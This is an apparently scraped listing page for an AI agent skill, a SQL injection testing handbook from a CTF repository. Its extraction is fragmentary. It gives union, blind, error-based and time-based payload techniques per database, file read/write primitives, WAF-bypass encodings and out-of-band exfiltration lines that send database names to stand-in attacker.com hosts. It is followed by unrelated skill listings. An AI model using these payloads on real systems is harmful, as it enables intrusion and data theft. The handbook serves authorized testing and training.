Strix SQL 注入测试手册,覆盖 union、blind、error-based 与 ORM 绕过技巧;触发名:strix-sql-injection
npx skills add https://github.com/asdfgh1445/ctf-super-hub --skill Strix•SQL 注入
SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
Databases
Integration Paths
Input Locations
whereRaw/orderByRaw, string templates in ORMsError-Based
Boolean-Based
Time-Based
SLEEP/pg_sleep/WAITFOROut-of-Band (OAST)
@@version, database(), user(), current_user()extractvalue()/updatexml() (older), JSON functions for error shapingLOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))SLEEP(n), BENCHMARKJSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leakversion(), current_user, current_database()xpath() errors in xml2COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensionspg_sleep(n)COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export->, ->>, @>, ?| with lateral/CTE for blind extraction@@version, db_name(), system_user, user_name()xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabledxp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCEWAITFOR DELAY '0:0:5'; heavy functions cause measurable delaysFOR XML PATH leaksv$version, ora_database_name, userUTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)dbms_lock.sleep(n)to_number/to_date conversions, XMLTypeUTL_FILE with directory objects (privileged)ORDER BY n and UNION SELECT null,...CAST/CONVERT; coerce to text/json for renderingSUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operatorsAND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)xp_dirtree \\\\<data>.attacker.tld\\aUTL_HTTP.REQUEST('http://<data>.attacker')LOAD_FILE with UNC pathINTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirectionwhereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses@> in PostgreSQL) with raw fragmentsIN (...))CASE WHEN for boolean channelsMATCH AGAINST, to_tsvector/to_tsquery with payload mixingWhitespace/Spacing
//, //!00000, comments, newlines, tabs0xe3 0x80 0x80 (ideographic space)Keyword Splitting
UN/**/ION, U%4eION, backticks/quotes, case foldingNumeric Tricks
0x61646d696e)Encodings
char()/CONCAT_ws to build tokensClause Relocation
WITH), lateral joins to hide payload shapewhereRaw/orderByRaw10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
LLM-driven hypothesis generation/testing on tabular data. Three methods: HypoGeniC (data-driven), HypoRefine (literature+data), Union. Iterative refinement, Redis caching, multi-hypothesis inference. Manual: hypothesis-generation; ideation: scientific-brainstorming.
This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns...
Optimizes application performance across frontend, backend, queries, and databases. Use when performance requirements exist, when you suspect performance regressions, when Core Web Vitals or load times need improvement, when N+1 query patterns need fixing, or when profiling reveals bottlenecks.
Bisect a ClickHouse regression using pre-built master binaries from CI. Use when the user wants to find the commit that introduced a bug.
QA an analysis before sharing -- methodology, accuracy, and bias checks. Use when reviewing an analysis before a stakeholder presentation, spot-checking calculations and aggregation logic, verifying a SQL query's results look right, or assessing whether conclusions are actually supported by the data.
End-to-end smoke test for the public Errors HTTP API (error groups). Seeds failed runs into ClickHouse so the error materialized views populate, then drives the real endpoints against the running webapp — list (with filters + pagination), retrieve, resolve/ignore/unresolve, the `filter[error]` runs filter, user attribution via the `trigger.dev mint-token` -> JWT exchange, and the 401/403/404 negatives. Use for "smoke test the errors API", "test the errors API e2e", "prove the errors endpoints work", or to re-verify after changes.
> Pull and interpret production experiment query-performance data from the staff-only slowest experiment queries, precompute read/build health, and preaggregation cache footprint. and response field semantics (exception codes, exposure paths, precompute skip reasons, job states). Use when investigating slow or failing experiment queries, precompute regressions, 307/159/241 errors, preaggregation table growth, or when asked how experiment query performance or the precompute rollout is doing in production.
Implement database backup strategies. Configure automated backups, retention, and recovery testing. Use when designing backup and recovery procedures.
Take asdfgh1445/strix•sql 注入 from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.